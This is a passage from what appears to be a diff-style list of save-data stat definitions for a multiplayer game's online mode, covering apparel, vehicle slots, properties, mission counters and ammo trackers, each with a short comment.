+(int)DLC_APPAREL_USED_130 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_131 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_132 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_133 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_134 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_135 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_136 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_137 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_138 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)JATO_ASSIST_HELP // Add MP0_ or MP1_ // count number of times jato help has been displayed +(bool)MPPLY_HEADSHOTCHLENGECOMPLETED // Stat to track if headshot challenge is complete to unlock weapon in bob + +(int)GANGOPS_FLOW_NOTIFICATIONS // Add MP0_ or MP1_ // FM HEIST Email count +(int)CE_STARTER_PACK_CP // Add MP0_ or MP1_ // PE PURCHASED + +(int)SHOPFM_PERS_GUN_OSPREY // Add MP0_ or MP1_ // Shop stat for Osprey Armory +(int)INV_PLANE_MODEL_0 // Add MP0_ or MP1_ // SA Stat for plane model + +(int)DBASE_OWNED // Add MP0_ or MP1_ // GangOps defunct base owned +(int)DBASE_CONTRABAND_TOTAL // Add MP0_ or MP1_ // GangOps defunct base contraband units owned +(int)DBASE_CONTRABAND_MISSION // Add MP0_ or MP1_ // GangOps defunct base contraband mission +(int)DBASE_FACILITY_STYLE // Add MP0_ or MP1_ // GangOps defunct base customisation +(int)DBASE_FACILITY_GRAPHIC // Add MP0_ or MP1_ // GangOps defunct base customisation +(int)DBASE_ORBITAL_WEAPON // Add MP0_ or MP1_ // GangOps defunct base customisation +(int)DBASE_SECURITY_ROOM // Add MP0_ or MP1_ // GangOps defunct base customisation +(int)DBASE_PERSONAL_QUARTERS // Add MP0_ or MP1_ // GangOps defunct base customisation + +(int)GANGOPS_FM_MISSION_PROG // Add MP0_ or MP1_ // i.e. flow process +(int)GANGOPS_FM_BITSET_MISS0 // Add MP0_ or MP1_ // i.e. flow process + +(int)PROP_DEFUNCBASE_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_DEFUNCBASE // Add MP0_ or MP1_ // Stores what other property player has purchased +(int)PROP_DEFUNCBASE_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased + + + + + +(int)MPSV_VEHICLE_BS_184 // Add MP0_ or MP1_ // Vehicle_184 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_184 // Add MP0_ or MP1_ // Vehicle_184 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_184 // Add MP0_ or MP1_ // Vehicle_184 premium paid by destroyer of vehicle +(int)MPSV_MODEL_184 // Add MP0_ or MP1_ // Vehicle_184 model enum of vehicle +(int)MPSV_FLAGS_184 // Add MP0_ or MP1_ // Vehicle_184 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_184 // Add MP0_ or MP1_ // Vehicle_184 cost of vehicle when purchased + +(u64)MPSV_LP0_184 // Add MP0_ or MP1_ // Vehicle_184 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_185 // Add MP0_ or MP1_ // Vehicle_185 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_185 // Add MP0_ or MP1_ // Vehicle_185 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_185 // Add MP0_ or MP1_ // Vehicle_185 premium paid by destroyer of vehicle +(int)MPSV_MODEL_185 // Add MP0_ or MP1_ // Vehicle_185 model enum of vehicle +(int)MPSV_FLAGS_185 // Add MP0_ or MP1_ // Vehicle_185 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_185 // Add MP0_ or MP1_ // Vehicle_185 cost of vehicle when purchased + +(u64)MPSV_LP0_185 // Add MP0_ or MP1_ // Vehicle_185 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_186 // Add MP0_ or MP1_ // Vehicle_186 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_186 // Add MP0_ or MP1_ // Vehicle_186 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_186 // Add MP0_ or MP1_ // Vehicle_186 premium paid by destroyer of vehicle +(int)MPSV_MODEL_186 // Add MP0_ or MP1_ // Vehicle_186 model enum of vehicle +(int)MPSV_FLAGS_186 // Add MP0_ or MP1_ // Vehicle_186 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_186 // Add MP0_ or MP1_ // Vehicle_186 cost of vehicle when purchased + +(u64)MPSV_LP0_186 // Add MP0_ or MP1_ // Vehicle_186 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_187 // Add MP0_ or MP1_ // Vehicle_187 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_187 // Add MP0_ or MP1_ // Vehicle_187 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_187 // Add MP0_ or MP1_ // Vehicle_187 premium paid by destroyer of vehicle +(int)MPSV_MODEL_187 // Add MP0_ or MP1_ // Vehicle_187 model enum of vehicle +(int)MPSV_FLAGS_187 // Add MP0_ or MP1_ // Vehicle_187 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_187 // Add MP0_ or MP1_ // Vehicle_187 cost of vehicle when purchased + +(u64)MPSV_LP0_187 // Add MP0_ or MP1_ // Vehicle_187 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_188 // Add MP0_ or MP1_ // Vehicle_188 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_188 // Add MP0_ or MP1_ // Vehicle_188 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_188 // Add MP0_ or MP1_ // Vehicle_188 premium paid by destroyer of vehicle +(int)MPSV_MODEL_188 // Add MP0_ or MP1_ // Vehicle_188 model enum of vehicle +(int)MPSV_FLAGS_188 // Add MP0_ or MP1_ // Vehicle_188 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_188 // Add MP0_ or MP1_ // Vehicle_188 cost of vehicle when purchased + +(u64)MPSV_LP0_188 // Add MP0_ or MP1_ // Vehicle_188 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_189 // Add MP0_ or MP1_ // Vehicle_189 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_189 // Add MP0_ or MP1_ // Vehicle_189 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_189 // Add MP0_ or MP1_ // Vehicle_189 premium paid by destroyer of vehicle +(int)MPSV_MODEL_189 // Add MP0_ or MP1_ // Vehicle_189 model enum of vehicle +(int)MPSV_FLAGS_189 // Add MP0_ or MP1_ // Vehicle_189 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_189 // Add MP0_ or MP1_ // Vehicle_189 cost of vehicle when purchased + +(u64)MPSV_LP0_189 // Add MP0_ or MP1_ // Vehicle_189 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_190 // Add MP0_ or MP1_ // Vehicle_190 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_190 // Add MP0_ or MP1_ // Vehicle_190 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_190 // Add MP0_ or MP1_ // Vehicle_190 premium paid by destroyer of vehicle +(int)MPSV_MODEL_190 // Add MP0_ or MP1_ // Vehicle_190 model enum of vehicle +(int)MPSV_FLAGS_190 // Add MP0_ or MP1_ // Vehicle_190 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_190 // Add MP0_ or MP1_ // Vehicle_190 cost of vehicle when purchased + +(u64)MPSV_LP0_190 // Add MP0_ or MP1_ // Vehicle_190 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_191 // Add MP0_ or MP1_ // Vehicle_191 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_191 // Add MP0_ or MP1_ // Vehicle_191 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_191 // Add MP0_ or MP1_ // Vehicle_191 premium paid by destroyer of vehicle +(int)MPSV_MODEL_191 // Add MP0_ or MP1_ // Vehicle_191 model enum of vehicle +(int)MPSV_FLAGS_191 // Add MP0_ or MP1_ // Vehicle_191 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_191 // Add MP0_ or MP1_ // Vehicle_191 cost of vehicle when purchased + +(u64)MPSV_LP0_191 // Add MP0_ or MP1_ // Vehicle_191 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_192 // Add MP0_ or MP1_ // Vehicle_192 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_192 // Add MP0_ or MP1_ // Vehicle_192 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_192 // Add MP0_ or MP1_ // Vehicle_192 premium paid by destroyer of vehicle +(int)MPSV_MODEL_192 // Add MP0_ or MP1_ // Vehicle_192 model enum of vehicle +(int)MPSV_FLAGS_192 // Add MP0_ or MP1_ // Vehicle_192 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_192 // Add MP0_ or MP1_ // Vehicle_192 cost of vehicle when purchased + +(u64)MPSV_LP0_192 // Add MP0_ or MP1_ // Vehicle_192 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_193 // Add MP0_ or MP1_ // Vehicle_193 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_193 // Add MP0_ or MP1_ // Vehicle_193 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_193 // Add MP0_ or MP1_ // Vehicle_193 premium paid by destroyer of vehicle +(int)MPSV_MODEL_193 // Add MP0_ or MP1_ // Vehicle_193 model enum of vehicle +(int)MPSV_FLAGS_193 // Add MP0_ or MP1_ // Vehicle_193 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_193 // Add MP0_ or MP1_ // Vehicle_193 cost of vehicle when purchased + +(u64)MPSV_LP0_193 // Add MP0_ or MP1_ // Vehicle_193 licence plate part 0 + +(packed)GANGOPSPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(packed)GANGOPSPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)GANGOPSPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + +(int)PROP_FAC_SLOT0 // Add MP0_ or MP1_ // Stores property paid for biker factory property sloy 0 +(int)PROP_FAC_SLOT1 // Add MP0_ or MP1_ // Stores property paid for biker factory property sloy 1 +(int)PROP_FAC_SLOT2 // Add MP0_ or MP1_ // Stores property paid for biker factory property sloy 2 +(int)PROP_FAC_SLOT3 // Add MP0_ or MP1_ // Stores property paid for biker factory property sloy 3 +(int)PROP_FAC_SLOT4 // Add MP0_ or MP1_ // Stores property paid for biker factory property sloy 4 +(int)PROP_FAC_SLOT5 // Add MP0_ or MP1_ // Stores property paid for biker factory property sloy 5 + +(int)PROP_WHOUSE_SLOT0 // Add MP0_ or MP1_ // Stores property paid for warehouse property sloy 0 +(int)PROP_WHOUSE_SLOT1 // Add MP0_ or MP1_ // Stores property paid for warehouse property sloy 1 +(int)PROP_WHOUSE_SLOT2 // Add MP0_ or MP1_ // Stores property paid for warehouse property sloy 2 +(int)PROP_WHOUSE_SLOT3 // Add MP0_ or MP1_ // Stores property paid for warehouse property sloy 3 +(int)PROP_WHOUSE_SLOT4 // Add MP0_ or MP1_ // Stores property paid for warehouse property sloy 4 + +(int)PROP_FAC_SLOT0_VAL // Add MP0_ or MP1_ // Stores value of biker factory property sloy 0 +(int)PROP_FAC_SLOT1_VAL // Add MP0_ or MP1_ // Stores value of biker factory property sloy 1 +(int)PROP_FAC_SLOT2_VAL // Add MP0_ or MP1_ // Stores value of biker factory property sloy 2 +(int)PROP_FAC_SLOT3_VAL // Add MP0_ or MP1_ // Stores value of biker factory property sloy 3 +(int)PROP_FAC_SLOT4_VAL // Add MP0_ or MP1_ // Stores value of biker factory property sloy 4 +(int)PROP_FAC_SLOT5_VAL // Add MP0_ or MP1_ // Stores value of biker factory property sloy 5 + +(int)PROP_WHOUSE_SL0_VAL // Add MP0_ or MP1_ // Stores value of warehouse property sloy 0 +(int)PROP_WHOUSE_SL1_VAL // Add MP0_ or MP1_ // Stores value of warehouse property sloy 1 +(int)PROP_WHOUSE_SL2_VAL // Add MP0_ or MP1_ // Stores value of warehouse property sloy 2 +(int)PROP_WHOUSE_SL3_VAL // Add MP0_ or MP1_ // Stores value of warehouse property sloy 3 +(int)PROP_WHOUSE_SL4_VAL // Add MP0_ or MP1_ // Stores value of warehouse property sloy 4 +(int)CHAR_FM_WEAP_ADDON_15_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH15 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_15_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_15_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + +(int)CR_GANGOP_MORGUE // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_DELUXO // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_SERVERFARM // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_IAABASE_FIN // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_STEALOSPREY // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_FOUNDRY // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_RIOTVAN // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_SUBMARINECAR // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_SUBMARINE_FIN // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_PREDATOR // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_BMLAUNCHER // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_BCCUSTOM // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_STEALTHTANKS // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_SPYPLANE // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_FINALE // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_FINALE_P2 // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)CR_GANGOP_FINALE_P3 // Add MP0_ or MP1_ // Counter for new Gang op missions +(int)DBASE_LOUNGE // Add MP0_ or MP1_ // GangOps defunct base customisation +(int)DBASE_PRIVACY_GLASS // Add MP0_ or MP1_ // GangOps defunct base customisation + +(int)PROP_IE_WAREHOUSE_VER // Add MP0_ or MP1_ // the verification stat for IE garage ownership +(int)PROP_HANGAR_VALUE_VALID // Add MP0_ or MP1_ // Stores value of the hanagar property slot + +(int)SHOTGARMORPIERCINGCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SHOTGEXPLOSIVECURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SHOTGHOLLOWPOINTCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SHOTGINCENDIARYCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)BULLRIFARMORPIERCINGCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)BULLRIFFMJCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)BULLRIFINCENDIARYCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)BULLRIFTRACERCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)MARKSNIPARMORPIERCCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)MARKSNIPFMJCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)MARKSNIPINCENDIARYCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)MARKSNIPTRACERCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)REVOLVEFMJCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)REVOLVEHOLLOWPOINTCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)REVOLVEINCENDIARYCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)REVOLVETRACERCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SNSPISFMJCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SNSPISHOLLOWPOINTCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SNSPISINCENDIARYCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SNSPISTRACERCURRENT // Add 